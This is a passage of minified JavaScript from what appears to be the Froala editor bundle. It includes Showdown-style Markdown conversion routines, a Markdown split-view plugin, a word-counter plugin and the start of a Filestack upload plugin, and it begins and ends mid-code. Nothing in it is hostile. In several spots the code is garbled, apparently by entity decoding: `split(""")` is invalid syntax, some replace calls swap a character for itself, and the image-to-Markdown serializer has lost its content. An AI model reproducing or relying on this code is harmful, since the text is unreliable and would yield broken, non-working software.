h=[],g=0;g<f.length;++g)_.helper.isUndefined(d[t][g]),h.push((s=d[t][g],"<td"+p[g]+">"+_.subParser("spanGamut")(s,v,b)+"</td>\n"));u.push(h)}return function m(e,t){for(var n="<table>\n<thead>\n<tr>\n",r=e.length,a=0;a<r;++a)n+=e[a];for(n+="</tr>\n</thead>\n<tbody>\n",a=0;a<t.length;++a){n+="<tr>\n";for(var o=0;o<r;++o)n+=t[a][o];n+="</tr>\n"}return n+="</tbody>\n</table>\n"}(f,u)}return e=(e=(e=(e=b.converter._dispatch("tables.before",e,v,b)).replace(/\\(\|)/g,_.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|\xa80)/gm,t)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|\xa80)/gm,t),e=b.converter._dispatch("tables.after",e,v,b)}),_.subParser("underline",function(e,t,n){return t.underline?(e=n.converter._dispatch("underline.before",e,t,n),e=(e=t.literalMidWordUnderscores?(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,t){return"<u>"+t+"</u>"})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,t){return"<u>"+t+"</u>"}):(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e})).replace(/__(\S[\s\S]*?)__/g,function(e,t){return/\S$/.test(t)?"<u>"+t+"</u>":e})).replace(/(_)/g,_.helper.escapeCharactersCallback),e=n.converter._dispatch("underline.after",e,t,n)):e}),_.subParser("unescapeSpecialChars",function(e,t,n){return e=(e=n.converter._dispatch("unescapeSpecialChars.before",e,t,n)).replace(/\xa8E(\d+)E/g,function(e,t){var n=parseInt(t);return String.fromCharCode(n)}),e=n.converter._dispatch("unescapeSpecialChars.after",e,t,n)}),_.subParser("makeMarkdown.blockquote",function(e,t){var n="";if(e.hasChildNodes())for(var r=e.childNodes,a=r.length,o=0;o<a;++o){var i=_.subParser("makeMarkdown.node")(r[o],t);""!==i&&(n+=i)}return n="> "+(n=n.trim()).split("\n").join("\n> ")}),_.subParser("makeMarkdown.codeBlock",function(e,t){var n=e.getAttribute("language"),r=e.getAttribute("precodenum");return"```"+n+"\n"+t.preList[r]+"\n```"}),_.subParser("makeMarkdown.codeSpan",function(e){return"`"+e.innerHTML+"`"}),_.subParser("makeMarkdown.emphasis",function(e,t){var n="";if(e.hasChildNodes()){n+="*";for(var r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);n+="*"}return n}),_.subParser("makeMarkdown.header",function(e,t,n){var r=new Array(n+1).join("#"),a="";if(e.hasChildNodes()){a=r+" ";for(var o=e.childNodes,i=o.length,s=0;s<i;++s)a+=_.subParser("makeMarkdown.node")(o[s],t)}return a}),_.subParser("makeMarkdown.hr",function(){return"---"}),_.subParser("makeMarkdown.image",function(e){var t="";return e.hasAttribute("src")&&(t+="+">",e.hasAttribute("width")&&e.hasAttribute("height")&&(t+=" ="+e.getAttribute("width")+"x"+e.getAttribute("height")),e.hasAttribute("title")&&(t+=' "'+e.getAttribute("title")+'"'),t+=")"),t}),_.subParser("makeMarkdown.links",function(e,t){var n="";if(e.hasChildNodes()&&e.hasAttribute("href")){var r=e.childNodes,a=r.length;n="[";for(var o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);n+="](",n+="<"+e.getAttribute("href")+">",e.hasAttribute("title")&&(n+=' "'+e.getAttribute("title")+'"'),n+=")"}return n}),_.subParser("makeMarkdown.list",function(e,t,n){var r="";if(!e.hasChildNodes())return"";for(var a=e.childNodes,o=a.length,i=e.getAttribute("start")||1,s=0;s<o;++s)if("undefined"!=typeof a[s].tagName&&"li"===a[s].tagName.toLowerCase()){r+=("ol"===n?i.toString()+". ":"- ")+_.subParser("makeMarkdown.listItem")(a[s],t),++i}return(r+="\n\x3c!-- --\x3e\n").trim()}),_.subParser("makeMarkdown.listItem",function(e,t){for(var n="",r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);return/\n$/.test(n)?n=n.split("\n").join("\n ").replace(/^ {4}$/gm,"").replace(/\n\n+/g,"\n\n"):n+="\n",n}),_.subParser("makeMarkdown.node",function(e,t,n){n=n||!1;var r="";if(3===e.nodeType)return _.subParser("makeMarkdown.txt")(e,t);if(8===e.nodeType)return"\x3c!--"+e.data+"--\x3e\n\n";if(1!==e.nodeType)return"";switch(e.tagName.toLowerCase()){case"h1":n||(r=_.subParser("makeMarkdown.header")(e,t,1)+"\n\n");break;case"h2":n||(r=_.subParser("makeMarkdown.header")(e,t,2)+"\n\n");break;case"h3":n||(r=_.subParser("makeMarkdown.header")(e,t,3)+"\n\n");break;case"h4":n||(r=_.subParser("makeMarkdown.header")(e,t,4)+"\n\n");break;case"h5":n||(r=_.subParser("makeMarkdown.header")(e,t,5)+"\n\n");break;case"h6":n||(r=_.subParser("makeMarkdown.header")(e,t,6)+"\n\n");break;case"p":n||(r=_.subParser("makeMarkdown.paragraph")(e,t)+"\n\n");break;case"blockquote":n||(r=_.subParser("makeMarkdown.blockquote")(e,t)+"\n\n");break;case"hr":n||(r=_.subParser("makeMarkdown.hr")(e,t)+"\n\n");break;case"ol":n||(r=_.subParser("makeMarkdown.list")(e,t,"ol")+"\n\n");break;case"ul":n||(r=_.subParser("makeMarkdown.list")(e,t,"ul")+"\n\n");break;case"precode":n||(r=_.subParser("makeMarkdown.codeBlock")(e,t)+"\n\n");break;case"pre":n||(r=_.subParser("makeMarkdown.pre")(e,t)+"\n\n");break;case"table":n||(r=_.subParser("makeMarkdown.table")(e,t)+"\n\n");break;case"code":r=_.subParser("makeMarkdown.codeSpan")(e,t);break;case"em":case"i":r=_.subParser("makeMarkdown.emphasis")(e,t);break;case"strong":case"b":r=_.subParser("makeMarkdown.strong")(e,t);break;case"del":r=_.subParser("makeMarkdown.strikethrough")(e,t);break;case"a":r=_.subParser("makeMarkdown.links")(e,t);break;case"img":r=_.subParser("makeMarkdown.image")(e,t);break;default:r=e.outerHTML+"\n\n"}return r}),_.subParser("makeMarkdown.paragraph",function(e,t){var n="";if(e.hasChildNodes())for(var r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);return n=n.trim()}),_.subParser("makeMarkdown.pre",function(e,t){var n=e.getAttribute("prenum");return"<pre>"+t.preList[n]+"</pre>"}),_.subParser("makeMarkdown.strikethrough",function(e,t){var n="";if(e.hasChildNodes()){n+="~~";for(var r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);n+="~~"}return n}),_.subParser("makeMarkdown.strong",function(e,t){var n="";if(e.hasChildNodes()){n+="**";for(var r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t);n+="**"}return n}),_.subParser("makeMarkdown.table",function(e,t){var n,r,a="",o=[[],[]],i=e.querySelectorAll("thead>tr>th"),s=e.querySelectorAll("tbody>tr");for(n=0;n<i.length;++n){var l=_.subParser("makeMarkdown.tableCell")(i[n],t),c="---";if(i[n].hasAttribute("style"))switch(i[n].getAttribute("style").toLowerCase().replace(/\s/g,"")){case"text-align:left;":c=":---";break;case"text-align:right;":c="---:";break;case"text-align:center;":c=":---:"}o[0][n]=l.trim(),o[1][n]=c}for(n=0;n<s.length;++n){var d=o.push([])-1,f=s[n].getElementsByTagName("td");for(r=0;r<i.length;++r){var p=" ";"undefined"!=typeof f[r]&&(p=_.subParser("makeMarkdown.tableCell")(f[r],t)),o[d].push(p)}}var u=3;for(n=0;n<o.length;++n)for(r=0;r<o[n].length;++r){var h=o[n][r].length;u<h&&(u=h)}for(n=0;n<o.length;++n){for(r=0;r<o[n].length;++r)1===n?":"===o[n][r].slice(-1)?o[n][r]=_.helper.padEnd(o[n][r].slice(-1),u-1,"-")+":":o[n][r]=_.helper.padEnd(o[n][r],u,"-"):o[n][r]=_.helper.padEnd(o[n][r],u);a+="| "+o[n].join(" | ")+" |\n"}return a.trim()}),_.subParser("makeMarkdown.tableCell",function(e,t){var n="";if(!e.hasChildNodes())return"";for(var r=e.childNodes,a=r.length,o=0;o<a;++o)n+=_.subParser("makeMarkdown.node")(r[o],t,!0);return n.trim()}),_.subParser("makeMarkdown.txt",function(e){var t=e.nodeValue;return t=(t=t.replace(/ +/g," ")).replace(/\xa8NBSP;/g," "),t=(t=(t=(t=(t=(t=(t=(t=(t=_.helper.unescapeHTMLEntities(t)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:")}),kt.PLUGINS.markdown=function(i){var s,l,n,r,a,c=i.$,o=!1,d="",f="",p="",u="",h=[],g=[],m="",v=null,b=null;function C(e){e=function u(e){var t=e,n=e.match(/(\[\^(.+?)\])[^:]/g),r=e.match(/(\[\^(.+?)\]:)/g);if(n&&r){n.forEach(function(e,t,n){n[t]=n[t].substring(0,n[t].length-1)}),n=n.filter(function(e,t){return n.indexOf(e)===t}),r=r.filter(function(e,t){return r.indexOf(e)===t});for(var a=1,o=0;o<n.length;o++){var i="";if(1==a&&(i='<hr class="footnote-sep"><ol>'),-1<r.indexOf(n[o]+":")){for(var s=-1<(t=(t=t.split(r[o]).join("{ftnt-plc}")).replace(r[o].substring(0,r[o].length-1),'<sup id="fnref:'.concat(a,'"><a href="#fn:').concat(a,'" class="footnote-a">').concat(a,"</a></sup>"))).indexOf(n[o])?1:0,l=0;s&&(l++,t=t.replace(r[o].substring(0,r[o].length-1),'<sup id="fnref:'.concat(a,":").concat(l,'"><a href="#fn:').concat(a,":").concat(l,'" class="footnote-a">').concat(a,":").concat(l,"</a></sup>")),s=-1<t.indexOf(n[o])?1:0););var c=(t=t.split("{ftnt-plc}").join(r[o])).indexOf(r[o]),d=t,f=d.substring(c,d.length-1);if(f=f.split("\n")[0],t=t.replace(f,""),-1<f.indexOf(": ")){f=f.split(": ")[1],f+='<a href="#fnref:'.concat(a,'" class="footnote-a">\u21a9</a>');for(var p=l;0!=l;)f+='<a href="#fnref:'.concat(a,":").concat(p-l+1,'" class="footnote-a">\u21a9</a>'),l--;f+="</p></li>",t=t+i+'<li id="fn:'.concat(a,'"><p>')+f,a++}}}1!=a&&(t+="</ol>")}return e=t}(e=function s(e){for(var t=/^[A-Za-z0-9]/g,n=/^:[ ]{1}(.+?)+/g,r=e.split("\n"),a=r,o=r.length-1,i=1;i<o;i++)null!==r[i].match(n)&&(null!==r[i-1].match(t)&&i<o-1&&null!==r[i+1].match(n)?(a[i-1]="<dl><dt>"+r[i-1]+"</dt>",a[i]="<dd>"+r[i].substring(2)+"</dd>"):null!==r[i-1].match(t)&&(i<o-1&&null===r[i+1].match(n)||i==o-1)?(a[i-1]="<dl><dt>"+r[i-1]+"</dt>",a[i]="<dd>"+r[i].substring(2)+"</dd></dl>"):i<o-1&&null!==r[i+1].match(n)?a[i]="<dd>"+r[i].substring(2)+"</dd>":a[i]="<dd>"+r[i].substring(2)+"</dd></dl>");return e=a.join("\n")}(e=function t(e){var r=e.indexOf("```"),a=0;-1<r&&(a=-1<(a=e.substring(r+1).indexOf("```"))?a+3:a);return e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,function(e,t,n){return r<n&&n<a?"---":"<hr />\n"})}(e=function n(e){return-1<(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.split("</p>").join("</p>\n")).split("</div>").join("\n")).replace(/(<([^>]+)>)/gi,"")).replace(/>/gi,">")).replace(/</gi,"<")).split(""").join('"')).split("&").join("&")).split("'").join("'")).split(" ").join(" ")).replace(/\|+\n[^\|]/g,function(e){return e.replace("\n","\n\n")})).indexOf("Powered by Froala Editor")&&(e=e.replace("Powered by Froala Editor","")),e}(e)))),e=r.makeHtml(e),e=i.clean.html(e),i.$wp.find(l)[0].innerHTML=e}return{_init:function t(){if(function e(){i.events.on("contentChanged",function(){o&&C(i.html.get(!1,!1))},!0),i.events.$on(c(i.o_win),"resize",function(){o&&(l[0].style.width=i.$wp[0].clientWidth-i.$el[0].clientWidth+2+"px")}),i.events.on("paste.afterCleanup",function(e){if(o){var t=i.doc.createElement("div");t.innerHTML=e;for(var n,r=t.querySelectorAll("img"),a=0;a<r.length;a++)(n=r[a]).outerHTML=n.outerHTML.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'");e=t.innerHTML}return e})}(),r=new _.Converter({strikethrough:!0,tables:!0,tablesHeaderId:!0,simpleLineBreaks:!0,ghCodeBlocks:!0,tasklists:!0,customizedHeaderId:!0,requireSpaceBeforeHeadingText:!0,underline:!0}),i.$tb&&(n=i.$tb.find('.fr-command[data-cmd="markdown"]')),!i.$wp)return!1},refresh:function E(e){var t=o;e.toggleClass("fr-active",t).attr("aria-pressed",t)},toggle:function y(){o?function e(){f=i.html.get(!0,!0),i.opts.pastePlain=!1,i.$el.removeClass("fr-markdown-editor"),i.$wp.append(a[0].firstChild),c(a).remove(),i.$wp.find(s).remove(),i.$wp.find(l).remove(),i.$wp[0].lastChild.after(i.$placeholder[0]),i.$el.removeAttr("style"),i.size.refresh(),i.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(n).removeClass("fr-disabled").attr("aria-disabled",!1),i.opts.iframe&&(i.$el=b,i.$wp=v,Object.keys(g).map(function(e){i.$el[0].setAttribute(e,g[e]),"class"!=e&&m[0].removeAttribute(e)}),i.$el[0].style.removeProperty("padding")),i.html.set(d),i.opts.iframe&&(i.$el=b,i.$wp=v,i.$placeholder=null,i.placeholder.show(),i.placeholder.refresh())}():function t(){var o;d=i.html.get(!0,!0),i.html.set(f),i.opts.pastePlain=!0,i.opts.iframe?(i.$el[0].removeAttribute("spellcheck"),Array.from(i.$el[0].attributes).map(function(e){var t=e.name,n=e.value;return"class"!=t&&(h[t]=n),g[t]=n,i.$el[0].removeAttribute(t)}),i.$el[0].style.padding=0,i.$el[0].innerHTML="",i.$placeholder.hide()):i.$el.addClass("fr-markdown-editor"),a=c('<div class="fr-wrapper-markdown" />'),i.opts.heightMin?a.css("min-height","".concat(i.opts.heightMin,"px")):a.css("min-height","200px"),i.opts.heightMax?(a.css("maxHeight","".concat(i.opts.heightMax,"px")),a.css("overflow","auto")):(a.css("maxHeight",""),a.css("overflow","")),i.opts.height&&(a.css("height","".concat(i.opts.height,"px")),a.css("overflow","auto"),a.css("minHeight",i.opts.height-i.helpers.getPX(i.$el.css("padding-top"))-i.helpers.getPX(i.$el.css("padding-bottom")))),i.opts.iframe?(u=c('<div class="fr-box fr-basic fr-top"></div>'),p=c('<div class="fr-markdown-wrapper"></div>'),m=c('<div class="fr-element fr-markdown-editor"><p><br></p></div>'),Object.keys(h).map(function(e){return m[0].setAttribute(e,h[e])}),f&&(m[0].innerHTML=f),a[0].appendChild(m[0]),p[0].appendChild(a[0]),u[0].appendChild(p[0]),1==c(i.$html.find("body")[0]).find(".fr-box").length?(i.$el.prevAll().filter(function(e){return!["CodeMirror cm-s-default CodeMirror-wrap","fr-code"].includes(e.className)}).remove(),i.$el[0].appendChild(a[0])):(i.$el[0].appendChild(u[0]),v=i.$wp,i.$wp=p),b=i.$el,i.$el=m):(i.$wp.append(a),a[0].appendChild(i.$el[0])),s=c('<div class="gutter-horizontal"><div class="e-resize-handler"><i class="fa fa-circle-thin" aria-hidden="true"></i></div></div>'),c(a).append(s[0]),l=c('<div class="fr-element fr-markdown-view"></div>'),c(a).append(l[0]),c(a).after(i.$placeholder[0]),i.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(n).filter(function(){return"fullscreen"!==c(this).data("cmd")&&"moreMisc"!==c(this).data("cmd")}).addClass("fr-disabled").attr("aria-disabled",!0),c(s).on("mousedown touchstart",function(e){o={e:e,offsetLeft:s[0].offsetLeft,offsetTop:s[0].offsetTop,firstWidth:i.$el[0].offsetWidth,secondWidth:l[0].offsetWidth};var n=function n(e){i.selection.clear();var t={x:e.clientX-o.e.clientX,y:e.clientY-o.e.clientY};t.x=Math.min(Math.max(t.x,-o.firstWidth),o.secondWidth),o.firstWidth+t.x<125||o.secondWidth-t.x<125||(s[0].style.left=o.offsetLeft+t.x+"px",i.$el[0].style.width=o.firstWidth+t.x+"px",l[0].style.width=o.secondWidth-t.x+"px")},r=function r(e){i.selection.clear();var t={x:e.changedTouches[0].clientX-o.e.changedTouches[0].clientX,y:e.changedTouches[0].clientY-o.e.changedTouches[0].clientY};t.x=Math.min(Math.max(t.x,-o.firstWidth),o.secondWidth),o.firstWidth+t.x<100||o.secondWidth-t.x<100||(s[0].style.left=o.offsetLeft+t.x+"px",i.$el[0].style.width=o.firstWidth+t.x+"px",l[0].style.width=o.secondWidth-t.x+"px")},t=function t(){document.onmousemove=document.onmouseup=null,document.ontouchmove=document.ontouchend=null},a=function a(){i.$doc[0].onmousemove=i.$doc[0].onmouseup=null,i.$doc[0].ontouchmove=i.$doc[0].ontouchend=null};i.opts.iframe&&i.markdown.isEnabled?(i.$doc[0].onmousemove=n,i.$doc[0].ontouchmove=r,i.$doc[0].onmouseup=a,i.$doc[0].ontouchend=a):(document.onmousemove=n,document.ontouchmove=r,document.onmouseup=t,document.ontouchend=t)}),C(f)}(),o=!o},isEnabled:function e(){return o}}},kt.DefineIcon("markdown",{NAME:"markdown",SVG_KEY:"markdown"}),kt.RegisterCommand("markdown",{title:"Markdown",undo:!1,focus:!1,toggle:!0,forcedRefresh:!0,accessibilityFocus:!0,callback:function(){this.markdown.toggle()},refresh:function(e){this.markdown.refresh(e)},plugin:"markdown"}),Object.assign(kt.DEFAULTS,{wordCounterMax:-1,wordCounterCount:!0}),kt.PLUGINS.wordCounter=function(p){var n,t=p.$;function u(){var e=p.el.innerText.toString();e=(e=(e=(e=(e=(e=(e=(e=e.replace(/(^\s*)|(\s*$)/gi," ")).replace(/\u00a0/g," ")).replace(/[ ]{2,}/gi," ")).replace(/\n /,"\n")).replace(/[\u200A\u200C-\u200D\uFEFF\u202F\u2000-\u2009\u205F\u3000\u1680\u00A0\u0020]/g," ")).replace(/[\u200B]/g,"")).replace(/\t+/g," ")).split(" ").join("\n");var t=p.$el.find(".fr-pagebreak"),n=e.split(/\r?\n/),r=0;return n.forEach(function(e){0<(e=e.replace(/\s/g,"")).length&&r++}),r-2*t.length}function e(e){var t=!1;if(p.opts.wordCounterMax<0)return!0;if(u()<p.opts.wordCounterMax)return!0;var n=e.which,r=p.selection.get(),a=r.focusOffset,o=r.focusNode.textContent,i=(o=o.replace(/\u00a0/g," ")).toUpperCase().charCodeAt(a-1),s=o.toUpperCase().charCodeAt(a);return r.focusNode.data||(i=s=NaN),!function l(e,t){if(p.keys.isCharacter(e)&&p.keys.isCharacter(t)&&e!=kt.KEYCODE.SPACE&&t!=kt.KEYCODE.SPACE)return!0;return!1}(i,s)||n!==kt.KEYCODE.ENTER&&n!==kt.KEYCODE.SPACE||(t=!0),(function c(e,t){return e===kt.KEYCODE.SPACE&&t===kt.KEYCODE.SPACE}(i,s)||function d(e,t){if(isNaN(e)&&t===kt.KEYCODE.SPACE||e===kt.KEYCODE.SPACE&&isNaN(t))return!0;return!1}(i,s)||function f(e,t){if(isNaN(e)&&isNaN(t))return!0;return!1}(i,s))&&p.keys.isCharacter(n)&&n!=kt.KEYCODE.SPACE&&(t=!0),u()>p.opts.wordCounterMax&&(p.keys.isCharacter(n)||n===kt.KEYCODE.ENTER)&&(t=!0),!(!p.keys.ctrlKey(e)&&t||n===kt.KEYCODE.IME)||(e.preventDefault(),e.stopPropagation(),p.events.trigger("wordCounter.exceeded"),!1)}function r(){if(p.opts.wordCounterCount){var e=u()+(0<p.opts.wordCounterMax?"/"+p.opts.wordCounterMax:"");n.text("".concat(p.language.translate("Words")," : ").concat(e)),p.opts.toolbarBottom&&n.css("margin-bottom",p.$tb.outerHeight(!0));var t=p.$wp.get(0).offsetWidth-p.$wp.get(0).clientWidth;0<=t&&("rtl"==p.opts.direction?n.css("margin-left",t):n.css("margin-right",t))}}function a(e){return p.opts.wordCounterMax<0?e:t("<div>").html(e).text().split(" ").length+u()<=p.opts.wordCounterMax?e:(p.events.trigger("wordCounter.exceeded"),"")}return{_init:function o(){return!!p.$wp&&!!p.opts.wordCounterCount&&((n=t(document.createElement("span")).attr("class","fr-counter fr-wCounter")).css("bottom",p.$wp.css("border-bottom-width")),p.$second_tb?p.$second_tb.append(n):p.$wp.append(n),p.events.on("keydown",e,!0),p.events.on("paste.afterCleanup",a),p.events.on("keyup contentChanged input",function(){p.events.trigger("wordCounter.update")}),p.events.on("wordCounter.update",r),p.events.trigger("wordCounter.update"),void p.events.on("destroy",function(){t(p.o_win).off("resize.char".concat(p.id)),n.removeData().remove(),n=null}))},wordCount:u}},Object.assign(kt.POPUP_TEMPLATES,{"filestackPlugin.error":"[_UPLOAD_LAYER_]"}),kt.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt","image/jpeg","image/png","image/jpg","image/gif","image/webp","video/*","audio/*","mp3"],kt.REQUIRED_PLUGINS=["image","video","file","filesManager"],kt.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED=["image/jpeg","image/png","image/jpg","image/gif","image/webp"],kt.FILESTACK_DEFAULT_ACCEPT_FILE_TYPES=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt"],kt.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED=["video/*"],kt.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED=["local_file_system","imagesearch","url","googledrive","facebook","instagram","dropbox"],kt.FILESTACK_PICKER_DEFAULT_OPTIONS={displayMode:"overlay",uploadInBackground:!1,stage:{cname:"stage.filestackapi.com"}},Object.assign(kt.DEFAULTS,{filestackOptions:{}}),kt.FILE_STACK_URL_PART="filestack",kt.PLUGINS.filestack=function(f){var a,p,t=["pdf","msword","vnd.openxmlformats-officedocument.wordprocessingml.document","vnd.ms-excel","vnd.openxmlformats-officedocument.spreadsheetml.sheet","vnd.ms-powerpoint","vnd.openxmlformats-officedocument.presentationml.presentation","csv","plain","ogg"],u=1,i=4,h=5,g=6,s=7,l={};function m(e,t,n){v(n?f.language.translate(l[e])+"\nResponse: "+JSON.stringify(n):f.language.translate(l[e]),t)}function v(e,t,n,r){var a;if((a=f.popups.get("filestackPlugin.error"))||(a=d(e)),n&&(a.find(".fr-image-progress-bar-layer").addClass("fr-active"),a.find(".fr-error-message").addClass("fr-layer"),a.find(".fr-buttons").hide()),!!f.$tb){var o;"openFilePicker"===t?o="openFilePicker":"openFilePickerReplaceImageOnly"===t||"openFilePickerImage"===t?o="insertImage":"openFilePickerReplaceVideoOnly"===t||"openFilePickerVideo"===t?o="insertVideo":"openFilePickerVideoOnly"===t?o="openFilePickerVideoOnly":"openFilePickerImageOnly"===t?o="openFilePickerImageOnly":"openFilePickerFile"===t&&(o="openFilePickerFile");var i=f.$tb.find(".fr-command[data-cmd='".concat(o,"']"));if(n)f.popups.show("filestackPlugin.error",r.x,r.y);else if(!a.hasClass("fr-active")&&(f.popups.refresh("filestackPlugin.error"),f.popups.setContainer("filestackPlugin.error",f.$tb),i.isVisible()||f.opts.toolbarInline)){var s=f.opts.toolbarInline&&["openFilePickerImage","openFilePickerVideo"].includes(t)?f.$(".fr-popup")[0].style:f.button.getPosition(i),l=s.left,c=s.top;f.popups.show("filestackPlugin.error",l,c,i.outerHeight())}}}function b(){var e="",t=function n(){var t=[];return kt.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();return e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is",e}function d(e){var t=e.includes("Do you want to enable"),n=t?"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-enable'>".concat(f.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(f.language.translate("Cancel"),"</button>\n </div>"):"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-ok'>".concat(f.language.translate("OK"),"</button> \n </div>"),r={upload_layer:"".concat('<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader fr-indeterminate"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>',"\n <div style= 'padding:10px'>\n <div class = 'fr-message fr-error-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>").concat(f.language.translate(e),"</h3></div>\n ").concat(n,"\n ")},a=f.popups.create("filestackPlugin.error",r);if(t){var o=a.find(".fr-plugins-enable")[0],i=a.find(".fr-plugins-cancel")[0];o.addEventListener("click",function(e){!function t(){kt.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&f.opts.pluginsEnabled.push(e)})}(),function n(e){for(var t in e)if(!f[t]){if(kt.PLUGINS[t]&&f.opts.pluginsEnabled.indexOf(t)<0)continue;f[t]=new e[t](f),f[t]._init&&f[t]._init()}}(kt.PLUGINS),k(),f.events.trigger("filestack.pluginsEnabled"),f.popups.hide("filestackPlugin.error"),L(),e.preventDefault()}),i.addEventListener("click",function(e){f.popups.hide("filestackPlugin.error"),L(),e.preventDefault()})}else{var s=a.find(".fr-plugins-ok")[0];s&&s.addEventListener("click",function(e){f.popups.hide("filestackPlugin.error"),e.preventDefault()})}return a}function C(){var t=!0;return kt.REQUIRED_PLUGINS.forEach(function(e){f.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}l[u]="Filestack api is missing",l[2]="The Filestack options are missing. Please check filestackOptions",l[3]="The Filestack picker is missing. Please check filestackOption",l[i]="Image upload to filestack failed while processing the request",l[h]="Filestack plugin is currently not supported on this browser",l[g]="The selected media types are not supported",l[s]="The selected source types are not supported by Filestack",l[8]="Error opening Filestack picker due to invalid picker parameters",l[9]="This image is not supported for image transformation",l[10]="The Filestack client is not created yet";var E=f.opts.filestackOptions.filestackAPI;if(E)try{p=f.opts.filestackOptions.staging?filestack.init(E,kt.FILESTACK_PICKER_DEFAULT_OPTIONS.stage):filestack.init(E,kt.FILESTACK_PICKER_DEFAULT_OPTIONS)}catch(x){0===!Object.keys(f.opts.filestackOptions).length&&m(10)}else;function y(){var e=navigator.userAgent,t=f||"",n=t.helpers,r=t.browser;if(n.isMac()&&r.mozilla)return!1;var a=-1!=e.indexOf("Windows NT 10.")||-1!=e.indexOf("Windows NT 7."),o=e.match(/(chrome|safari|firefox|trident(?=\/))\/?\s*(\d+)/i)[2]||[],i=null;return 0<=e.indexOf("Android")&&(i=parseFloat(e.slice(e.indexOf("Android")+8))),!!((n.isMac()||n.isIOS())&&12<n.getSafariVersion())||(!!(a&&r.chrome&&70<o||-1!=e.indexOf("Edg")&&40<o)||!!(n.isAndroid()&&6<i&&r.chrome&&70<o))}function c(e){return!1===f.events.trigger("filestack.uploadedToFilestack",[e],!0)?(f.edit.on(),!1):e}function L(e){var t=f.button.getButtons('button[data-cmd="openFilePicker"]'),n=f.button.getButtons('button[data-cmd="openFilePickerImageOnly"]'),r=f.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]'),a=f.button.getButtons('button[data-cmd="openFilePickerFile"]');t.removeClass("fr-filestack-active"),n.removeClass("fr-filestack-active"),r.removeClass("fr-filestack-active"),a.removeClass("fr-filestack-active"),!1===f.events.trigger("filestack.filestackPickerClosed",[e],!0)&&f.edit.on()}function T(){B=D=null,f.selection.restore()}function w(e){m(i,e),!1===f.events.trigger("filestack.uploadFailedToFilestack",[e],!0)&&f.edit.on()}function A(e){return t.includes(e.split("/")[1])}function _(e){var t=!1;f.opts.imageInsertButtons=f.opts.imageInsertButtons.map(function(e){return"openFilePickerImage"===e?(t=!0,"openFilePickerReplaceImageOnly"):e}),t&&f.events.trigger("filestack-init"),f.popups.hide("image.edit");var n=f.doc.querySelector(".fr-popup");n&&n.remove(),f.opts.pluginsEnabled.includes("filestack")&&function r(e){f.opts.imageEditButtons.includes("filestackIcon")&&(a=f.opts.imageEditButtons.indexOf("filestackIcon"));!f.opts.imageEditButtons.includes("filestackIcon")&&e&&f.opts.pluginsEnabled.includes("filestack")?(a||0===a)&&f.opts.imageEditButtons.splice(a,0,"filestackIcon"):e||(f.opts.imageEditButtons=f.opts.imageEditButtons.filter(function(e){return"filestackIcon"!=e}));f.opts.filestackOptions.uploadToFilestackOnly&&e?f.opts.imageEditButtons=f.opts.imageEditButtons.filter(function(e){return"imageTUI"!=e}):f.opts.pluginsEnabled.includes("imageTUI")&&!f.opts.imageEditButtons.includes("imageTUI")&&f.opts.imageEditButtons.push("imageTUI")}(e),f.events.trigger("filestack-init-edit")}function S(){var 